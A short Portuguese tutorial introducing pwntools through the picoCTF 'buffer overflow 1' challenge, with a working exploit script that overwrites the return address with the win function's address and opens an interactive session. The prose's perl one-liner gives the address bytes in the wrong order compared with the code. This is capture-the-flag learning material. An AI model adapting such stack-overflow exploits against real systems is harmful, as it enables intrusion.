Pwntools é uma lib do python para escrever alguns exploits, tanto remotos quanto local
Para introduzir em pwntools, vamos usar o challenge buffer overflow 1
do picoctf, o mesmo que exploramos anteriormente
Esse exploit, é equivalente ao que haviamos usado anteriormente perl -e 'print "a"x44 . "\xcb\x85\x04\x80"'
Comece sempre importando o pwntools from pwn import *
- pack address 32 bits
- pack address 64 bits
- send payload
- interactive shell
from pwn import *
# arch
context(arch="i386", os="linux")
p = process("/problems/buffer-overflow-1_0_787812af44ed1f8151c893455eb1a613/vuln")
# payload
# offset EIP 44
# address of win is 0x080485cb
'''
perl -e 'print "a"x44 . "\xcb\x85\x04\x08"'
'''
buf = "a"*44
buf += p32(0x080485cb)
# send exploit
p.sendline(buf)
p.interactive()